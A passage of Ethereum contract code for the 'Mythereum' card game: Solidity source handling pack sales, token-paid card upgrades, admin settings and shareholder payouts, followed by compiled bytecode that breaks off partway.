isEditionAvailable(uint8 _editionNumber) public view returns (bool); function cloneCard(address _owner, uint256 _tokenId) public returns (bool); function mintRandomCards( address _owner, uint8 _editionNumber, uint8 _numCards ) public returns (bool); function improveCard( uint256 _tokenId, uint256 _addedDamage, uint256 _addedShield ) public returns (bool); function destroyCard(uint256 _tokenId) public returns (bool); } contract Mythereum is Manageable { using Maths for uint256; struct Edition { string name; uint256 sales; uint256 maxSales; uint8 packSize; uint256 packPrice; uint256 packPriceIncrease; } mapping (uint8 => Edition) public editions; mapping (address => bool) public isVIP; mapping (address => bool) public isTokenAccepted; mapping (address => uint256) public tokenCostPerPack; mapping (uint256 => uint256) public mythexCostPerUpgradeLevel; mapping (uint256 => uint256) public cardDamageUpgradeLevel; mapping (uint256 => uint256) public cardShieldUpgradeLevel; uint256 public maxCardUpgradeLevel = 30; address public cardTokenAddress; address public xpTokenAddress; address public mythexTokenAddress; address public gameHostAddress; /* data related to shared ownership */ uint256 public totalShares = 0; uint256 public totalReleased = 0; mapping(address => uint256) public shares; mapping(address => uint256) public released; event CardsPurchased(uint256 editionNumber, uint256 packSize, address buyer); event CardDamageUpgraded(uint256 cardId, uint256 newLevel, uint256 mythexCost); event CardShieldUpgraded(uint256 cardId, uint256 newLevel, uint256 mythexCost); modifier onlyHosts() { require( msg.sender == owner || msg.sender == manager || msg.sender == gameHostAddress ); _; } function Mythereum() public { editions[0] = Edition({ name: "Genesis", sales: 0, maxSales: 5000, packSize: 7, packPrice: 100 finney, packPriceIncrease: 1 finney }); isVIP[msg.sender] = true; } /** * @dev Disallow funds being sent directly to the contract since we can't know * which edition they'd intended to purchase. */ function () public payable { revert(); } function buyPack( uint8 _editionNumber ) public payable { uint256 packPrice = isVIP[msg.sender] ? 0 : editions[_editionNumber].packPrice; require(msg.value.isAtLeast(packPrice)); if (msg.value.isGreaterThan(packPrice)) { msg.sender.transfer(msg.value.minus(packPrice)); } _deliverPack(msg.sender, _editionNumber); } function buyPackWithERC20Tokens( uint8 _editionNumber, address _tokenAddress ) public { require(isTokenAccepted[_tokenAddress]); _processERC20TokenPackPurchase(_editionNumber, _tokenAddress, msg.sender); } function upgradeCardDamage(uint256 _cardId) public { require(cardDamageUpgradeLevel[_cardId].isLessThan(maxCardUpgradeLevel)); uint256 costOfUpgrade = 2 ** (cardDamageUpgradeLevel[_cardId] + 1); MythereumERC20Token mythexContract = MythereumERC20Token(mythexTokenAddress); require(mythexContract.balanceOf(msg.sender).isAtLeast(costOfUpgrade)); burnMythexTokens(msg.sender, costOfUpgrade); cardDamageUpgradeLevel[_cardId]++; MythereumCardToken cardToken = MythereumCardToken(cardTokenAddress); require(cardToken.improveCard(_cardId, cardDamageUpgradeLevel[_cardId], 0)); CardDamageUpgraded(_cardId, cardDamageUpgradeLevel[_cardId], costOfUpgrade); } function upgradeCardShield(uint256 _cardId) public { require(cardShieldUpgradeLevel[_cardId].isLessThan(maxCardUpgradeLevel)); uint256 costOfUpgrade = 2 ** (cardShieldUpgradeLevel[_cardId] + 1); MythereumERC20Token mythexContract = MythereumERC20Token(mythexTokenAddress); require(mythexContract.balanceOf(msg.sender).isAtLeast(costOfUpgrade)); burnMythexTokens(msg.sender, costOfUpgrade); cardShieldUpgradeLevel[_cardId]++; MythereumCardToken cardToken = MythereumCardToken(cardTokenAddress); require(cardToken.improveCard(_cardId, 0, cardShieldUpgradeLevel[_cardId])); CardShieldUpgraded(_cardId, cardShieldUpgradeLevel[_cardId], costOfUpgrade); } function receiveApproval( address _sender, uint256 _value, address _tokenContract, bytes _extraData ) public { require(isTokenAccepted[_tokenContract]); uint8 editionNumber = 0; if (_extraData.length != 0) editionNumber = uint8(_extraData[0]); _processERC20TokenPackPurchase(editionNumber, _tokenContract, _sender); } function _processERC20TokenPackPurchase( uint8 _editionNumber, address _tokenAddress, address _buyer ) internal { require(isTokenAccepted[_tokenAddress]); ERC20 tokenContract = ERC20(_tokenAddress); uint256 costPerPack = tokenCostPerPack[_tokenAddress]; uint256 ourBalanceBefore = tokenContract.balanceOf(address(this)); tokenContract.transferFrom(_buyer, address(this), costPerPack); uint256 ourBalanceAfter = tokenContract.balanceOf(address(this)); require(ourBalanceAfter.isAtLeast(ourBalanceBefore.plus(costPerPack))); _deliverPack(_buyer, _editionNumber); } function burnMythexTokens(address _burner, uint256 _amount) public onlyHosts { require(_burner != address(0)); MythereumERC20Token(mythexTokenAddress).burn(_burner, _amount); } function burnXPTokens(address _burner, uint256 _amount) public onlyHosts { require(_burner != address(0)); MythereumERC20Token(xpTokenAddress).burn(_burner, _amount); } function grantMythexTokens(address _recipient, uint256 _amount) public onlyHosts { require(_recipient != address(0)); MythereumERC20Token(mythexTokenAddress).mint(_recipient, _amount); } function grantXPTokens(address _recipient, uint256 _amount) public onlyHosts { require(_recipient != address(0)); MythereumERC20Token(xpTokenAddress).mint(_recipient, _amount); } function grantPromoPack( address _recipient, uint8 _editionNumber ) public onlyManagement { _deliverPack(_recipient, _editionNumber); } function setTokenAcceptanceRate( address _token, uint256 _costPerPack ) public onlyManagement { if (_costPerPack > 0) { isTokenAccepted[_token] = true; tokenCostPerPack[_token] = _costPerPack; } else { isTokenAccepted[_token] = false; tokenCostPerPack[_token] = 0; } } function transferERC20Tokens( address _token, address _recipient, uint256 _amount ) public onlyManagement { require(ERC20(_token).transfer(_recipient, _amount)); } function addVIP(address _vip) public onlyManagement { isVIP[_vip] = true; } function removeVIP(address _vip) public onlyManagement { isVIP[_vip] = false; } function setEditionSales( uint8 _editionNumber, uint256 _numSales ) public onlyManagement { editions[_editionNumber].sales = _numSales; } function setEditionMaxSales( uint8 _editionNumber, uint256 _maxSales ) public onlyManagement { editions[_editionNumber].maxSales = _maxSales; } function setEditionPackPrice( uint8 _editionNumber, uint256 _newPrice ) public onlyManagement { editions[_editionNumber].packPrice = _newPrice; } function setEditionPackPriceIncrease( uint8 _editionNumber, uint256 _increase ) public onlyManagement { editions[_editionNumber].packPriceIncrease = _increase; } function setEditionPackSize( uint8 _editionNumber, uint8 _newSize ) public onlyManagement { editions[_editionNumber].packSize = _newSize; } function setCardTokenAddress(address _addr) public onlyManagement { require(_addr != address(0)); cardTokenAddress = _addr; } function setXPTokenAddress(address _addr) public onlyManagement { require(_addr != address(0)); xpTokenAddress = _addr; } function setMythexTokenAddress(address _addr) public onlyManagement { require(_addr != address(0)); mythexTokenAddress = _addr; } function setGameHostAddress(address _addr) public onlyManagement { require(_addr != address(0)); gameHostAddress = _addr; } function claim() public { _claim(msg.sender); } function addShareholder(address _payee, uint256 _shares) public onlyOwner { require(_payee != address(0)); require(_shares.isAtLeast(1)); require(shares[_payee] == 0); shares[_payee] = _shares; totalShares = totalShares.plus(_shares); } function removeShareholder(address _payee) public onlyOwner { require(shares[_payee] != 0); _claim(_payee); _forfeitShares(_payee, shares[_payee]); } function grantAdditionalShares( address _payee, uint256 _shares ) public onlyOwner { require(shares[_payee] != 0); require(_shares.isAtLeast(1)); shares[_payee] = shares[_payee].plus(_shares); totalShares = totalShares.plus(_shares); } function forfeitShares(uint256 _numShares) public { _forfeitShares(msg.sender, _numShares); } function transferShares(address _to, uint256 _numShares) public { require(_numShares.isAtLeast(1)); require(shares[msg.sender].isAtLeast(_numShares)); shares[msg.sender] = shares[msg.sender].minus(_numShares); shares[_to] = shares[_to].plus(_numShares); } function transferEntireStake(address _to) public { transferShares(_to, shares[msg.sender]); } function _claim(address payee) internal { require(shares[payee].isAtLeast(1)); uint256 totalReceived = address(this).balance.plus(totalReleased); uint256 payment = totalReceived.times(shares[payee]).dividedBy(totalShares).minus(released[payee]); require(payment != 0); require(address(this).balance.isAtLeast(payment)); released[payee] = released[payee].plus(payment); totalReleased = totalReleased.plus(payment); payee.transfer(payment); } function _forfeitShares(address payee, uint256 numShares) internal { require(shares[payee].isAtLeast(numShares)); shares[payee] = shares[payee].minus(numShares); totalShares = totalShares.minus(numShares); } function _deliverPack(address recipient, uint8 editionNumber) internal { Edition storage edition = editions[editionNumber]; require(edition.sales.isLessThan(edition.maxSales.plus(edition.packSize))); edition.sales = edition.sales.plus(edition.packSize); edition.packPrice = edition.packPrice.plus(edition.packPriceIncrease); MythereumCardToken cardToken = MythereumCardToken(cardTokenAddress); cardToken.mintRandomCards(recipient, editionNumber, edition.packSize); CardsPurchased(editionNumber, edition.packSize, recipient); } }
0x60606040526004361061025c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302978be8146102615780630560bd96146102b6578063095dc5cf146103075780630b39f18e146103405780630cd8dd0b14610379578063137e1ba8146103b2578063141e26a5146103e95780631474b789146104185780631c3cf5d01461045a5780631cc728681461048957806322bac568146104d6578063233a04ec1461051857806323447982146105475780632a92bffa146105805780633a98ef39146105af5780633b9178f7146105d85780634145aa9d14610611578063481c6a75146106535780634c303276146106a85780634e71d92d146107705780634f3b8938146107855780634f7d4951146107da5780635da99f5e146108135780636254cf80146108365780636e5816731461086f57806375724990146108b45780637ab42bbd146108f65780637d1e97a11461093857806387b5f1141461098d5780638a83d4a0146109e25780638da5cb5b14610a245780638f4ffcb114610a795780638fcb4e5b14610b1d5780638fd1b1f214610b5f578063940d72ec14610b885780639852595c14610ba35780639babdad614610bf0578063b9324db614610c29578063c3c75e5c14610c4c578063c41c9a6114610c7e578063cd7ecda014610cdf578063ce7c2ac214610d24578063dd0b1af514610d71578063e33b7de314610daa578063ef2f92ad14610dd3578063f2fde38b14610df6578063f4201c3c14610e2f578063f5109a3914610e80578063f5ea25f014610eb7578063f7bb495c14610ef9575b600080fd5b341561026c57600080fd5b610274610f30565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102c157600080fd5b6102ed600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f56565b604051808215151515815260200191505060405180910390f35b341561031257600080fd5b61033e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f76565b005b341561034b57600080fd5b610377600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611084565b005b341561038457600080fd5b6103b0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111b7565b005b34156103bd57600080fd5b6103d360048080359060200190919050506112ea565b6040518082815260200191505060405180910390f35b34156103f457600080fd5b610416600480803560ff16906020019091908035906020019091905050611302565b005b341561042357600080fd5b610458600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113da565b005b341561046557600080fd5b610487600480803560ff16906020019091908035906020019091905050611601565b005b341561049457600080fd5b6104c0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116d9565b6040518082815260200191505060405180910390f35b34156104e157600080fd5b610516600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506116f1565b005b341561052357600080fd5b610545600480803560ff169060200190919080359060200190919050506119d6565b005b341561055257600080fd5b61057e600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611aae565b005b341561058b57600080fd5b6105ad600480803560ff16906020019091908035906020019091905050611c5d565b005b34156105ba57600080fd5b6105c2611d35565b6040518082815260200191505060405180910390f35b34156105e357600080fd5b61060f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611d3b565b005b341561061c57600080fd5b610651600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611d87565b005b341561065e57600080fd5b610666611fae565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106b357600080fd5b6106cc600480803560ff16906020019091905050611fd4565b60405180806020018781526020018681526020018560ff1660ff168152602001848152602001838152602001828103825288818151815260200191508051906020019080838360005b83811015610730578082015181840152602081019050610715565b50505050905090810190601f16801561075d5780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b341561077b57600080fd5b6107836120b5565b005b341561079057600080fd5b6107986120c0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107e557600080fd5b610811600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506120e6565b005b341561081e57600080fd5b61083460048080359060200190919050506121f4565b005b341561084157600080fd5b61086d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612591565b005b341561087a57600080fd5b6108b2600480803560ff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506126c4565b005b34156108bf57600080fd5b6108f4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061272b565b005b341561090157600080fd5b610936600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612982565b005b341561094357600080fd5b61094b612ba9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561099857600080fd5b6109a0612bcf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156109ed57600080fd5b610a22600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612bf5565b005b3415610a2f57600080fd5b610a37612e1c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a8457600080fd5b610b1b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612e41565b005b3415610b2857600080fd5b610b5d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612f3c565b005b3415610b6a57600080fd5b610b726132c6565b6040518082815260200191505060405180910390f35b610ba1600480803560ff169060200190919050506132cc565b005b3415610bae57600080fd5b610bda600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050613545565b6040518082815260200191505060405180910390f35b3415610bfb57600080fd5b610c27600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061355d565b005b3415610c3457600080fd5b610c4a600480803590602001909190505061365c565b005b3415610c5757600080fd5b610c7c600480803560ff1690602001909190803560ff169060200190919050506139f9565b005b3415610c8957600080fd5b610cdd600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050613ae5565b005b3415610cea57600080fd5b610d22600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803560ff16906020019091905050613c61565b005b3415610d2f57600080fd5b610d5b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050613d22565b6040518082815260200191505060405180910390f35b3415610d7c57600080fd5b610da8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050613d3a565b005b3415610db557600080fd5b610dbd613e6d565b6040518082815260200191505060405180910390f35b3415610dde57600080fd5b610df46004808035906020019091905050613e73565b005b3415610e0157600080fd5b610e2d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050613e80565b005b3415610e3a57600080fd5b610e66600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050613fd5565b604051808215151515815260200191505060405180910390f35b3415610e8b57600080fd5b610ea16004808035906020019091905050613ff5565b6040518082815260200191505060405180910390f35b3415610ec257600080fd5b610ef7600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061400d565b005b3415610f0457600080fd5b610f1a600480803590602001909190505061420c565b6040518082815260200191505060405180910390f35b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061101e5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561102957600080fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061112c5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561113757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561117357600080fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061125f5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561126a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156112a657600080fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60086020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806113aa5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156113b557600080fd5b80600260008460ff1660ff168152602001908152602001600020600201819055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806114825750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806114da5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156114e557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561152157600080fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639dc29fac83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156115e557600080fd5b5af115156115f257600080fd5b50505060405180519050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116a95750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156116b457600080fd5b80600260008460ff1660ff168152602001908152602001600020600501819055505050565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174c57600080fd5b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415151561179b57600080fd5b8073b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc17909160016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b151561181057600080fd5b5af4151561181d57600080fd5b50505060405180519050151561183257600080fd5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f9091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15156118e557600080fd5b5af415156118f257600080fd5b50505060405180519050601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e5473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f9091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b15156119b557600080fd5b5af415156119c257600080fd5b50505060405180519050600e819055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a7e5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611a8957600080fd5b80600260008460ff1660ff168152602001908152602001600020600101819055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b565750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611b6157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611b9d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fc6a1baebe57160c2d8aaa4affd797ada64a54753248acc4887748a2d99f5233260405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611d055750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611d1057600080fd5b80600260008460ff1660ff168152602001908152602001600020600401819055505050565b600e5481565b611d8481601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f3c565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611e2f5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80611e875750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611e9257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611ece57600080fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1983836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611f9257600080fd5b5af11515611f9f57600080fd5b50505060405180519050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6002602052806000526040600020600091509050806000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120805780601f1061205557610100808354040283529160200191612080565b820191906000526020600020905b81548152906001019060200180831161206357829003601f168201915b5050505050908060010154908060020154908060030160009054906101000a900460ff16908060040154908060050154905086565b6120be33614224565b565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061218e5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561219957600080fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000806000600760008581526020019081526020016000205473b5f1efa8a3267cce1aea000dd2cc7a0778aa829963e9970b6c90916009546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b151561228257600080fd5b5af4151561228f57600080fd5b5050506040518051905015156122a457600080fd5b600160076000868152602001908152602001600020540160020a9250600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508173ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561237f57600080fd5b5af1151561238c57600080fd5b5050506040518051905073b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc179091856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b151561240957600080fd5b5af4151561241657600080fd5b50505060405180519050151561242b57600080fd5b6124353384612bf5565b6007600085815260200190815260200160002060008154809291906001019190505550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663d54c2a6385600760008881526020019081526020016000205460006040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808481526020018381526020018281526020019350505050602060405180830381600087803b151561250f57600080fd5b5af1151561251c57600080fd5b50505060405180519050151561253157600080fd5b7f8294bd484619c642233e13630ea249a5c272715e4349611297097eb27e207a0c8460076000878152602001908152602001600020548560405180848152602001838152602001828152602001935050505060405180910390a150505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806126395750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561264457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561268057600080fd5b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561271c57600080fd5b612727828233614866565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561278657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156127c257600080fd5b8073b5f1efa8a3267cce1aea000dd2cc7a0778aa829963a6bdcc17909160016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b151561283757600080fd5b5af4151561284457600080fd5b50505060405180519050151561285957600080fd5b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415156128a757600080fd5b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e5473b5f1efa8a3267cce1aea000dd2cc7a0778aa82996366098d4f9091836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018281526020019250505060206040518083038186803b151561296157600080fd5b5af4151561296e57600080fd5b50505060405180519050600e819055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612a2a5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80612a825750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515612a8d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612ac957600080fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1983836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515612b8d57600080fd5b5af11515612b9a57600080fd5b50505060405180519050505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612c9d5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80612cf55750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515612d0057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515612d3c57600080fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639dc29fac83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373fff